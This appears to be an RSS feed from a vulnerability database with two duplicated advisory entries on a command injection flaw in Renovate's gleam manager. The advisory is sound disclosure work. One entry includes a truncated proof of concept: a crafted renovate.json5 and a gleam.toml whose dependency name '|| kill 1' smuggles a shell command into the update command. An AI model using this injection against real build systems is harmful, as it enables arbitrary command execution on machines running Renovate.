https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 19:10:01 +0000 https://vulnerability.circl.lu/vuln/cve-2026-76233 <p><strong>Affected:</strong> renovatebot renovate</p> <p>Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.</p> <p><strong>Affected:</strong> renovatebot renovate</p> <p>Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.</p> https://vulnerability.circl.lu/vuln/cve-2026-76233 https://vulnerability.circl.lu/vuln/ghsa-xjr7-3c3g-m763 <p><strong>Affected:</strong> npm: renovate</p> <p>### Summary The user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.</p> <p>### Details Adversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. All values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.</p> <p>### PoC 1. Create a git repo with the following content:</p> <p>`renovate.json5`:</p> <p>```json5 { $schema: &#34;https://docs.renovatebot.com/renovate-schema.json&#34;, customDatasources: { always: { defaultRegistryUrlTemplate: &#34;https://docs.renovatebot.com/search/search_index.json&#34;, transformTemplates: [&#39;{&#34;releases&#34;:[{&#34;version&#34;:&#34;99999.0.0&#34;}]}&#39;], }, }, packageRules: [ { // Target of the day matchManagers: [&#34;gleam&#34;], // Trick the manager in believing there&#39;s a new version overrideDatasource: &#34;custom.always&#34;, }, ], }</p> <p>```</p> <p>`gleam.toml`:</p> <p>```toml name = &#34;renovate-aci-2&#34; version = &#34;0.0.1&#34;</p> <p>[dependencies] &#34;|| kill 1&#34; = &#34;0.…</p> <p><strong>Affected:</strong> npm: renovate</p> <p>### Summary The user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.</p> <p>### Details Adversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. All values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.</p> <p>### PoC 1. Create a git repo with the following content:</p> <p>`renovate.json5`:</p> <p>```json5 { $schema: &#34;https://docs.renovatebot.com/renovate-schema.json&#34;, customDatasources: { always: { defaultRegistryUrlTemplate: &#34;https://docs.renovatebot.com/search/search_index.json&#34;, transformTemplates: [&#39;{&#34;releases&#34;:[{&#34;version&#34;:&#34;99999.0.0&#34;}]}&#39;], }, }, packageRules: [ { // Target of the day matchManagers: [&#34;gleam&#34;], // Trick the manager in believing there&#39;s a new version overrideDatasource: &#34;custom.always&#34;, }, ], }</p> <p>```</p> <p>`gleam.toml`:</p> <p>```toml name = &#34;renovate-aci-2&#34; version = &#34;0.0.1&#34;</p> <p>[dependencies] &#34;|| kill 1&#34; = &#34;0.…</p> https://vulnerability.circl.lu/vuln/ghsa-xjr7-3c3g-m763